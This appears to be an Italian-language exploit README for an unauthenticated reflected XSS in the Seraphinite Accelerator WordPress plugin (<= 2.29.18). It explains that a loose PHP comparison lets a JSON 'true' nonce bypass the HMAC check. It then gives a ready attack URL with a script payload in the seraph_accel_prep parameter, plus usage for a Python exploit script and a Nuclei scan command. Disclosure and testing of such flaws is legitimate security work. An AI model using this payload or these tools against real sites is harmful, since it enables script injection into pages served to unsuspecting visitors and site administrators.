Seraphinite Accelerator <= 2.29.18 — XSS riflesso non autenticato

Il plugin firma le sue richieste interne di "prepara pagina" con un HMAC nel parametro seraph_accel_prep (JSON codificato in base64), ma lo confronta con il != lasco di PHP. Inviando il booleano JSON true come nonce, il confronto passa sempre e il campo selfTest viene quindi riflesso senza escaping come selfTest-<value>.

Un solo URL, nessuna autenticazione:

http://TARGET/?seraph_accel_prep=<base64 of {"_tm":"1","nonce":true,"selfTest":"<script>alert(document.domain)</script>"}>

Utilizzo

Python (richiede pip install requests):

usage: seraph_accel_xss.py [-h] --url URL [--payload PAYLOAD] [--timeout TIMEOUT]

Seraphinite Accelerator (WordPress) <= 2.29.18

options:
  -h, --help         show this help message and exit
  --url URL          target site, e.g. http://target-site.com
  --payload PAYLOAD  XSS payload (default: <script>alert(document.domain)</script>)
  --timeout TIMEOUT  seconds (default: 30)

Nuclei:

nuclei -u http://target-site.com -t seraphinite-accelerator-prep-xss.yaml -timeout 10

Il -timeout 10 è necessario perché il percorso di codice vulnerabile attende 5 secondi prima di rispondere.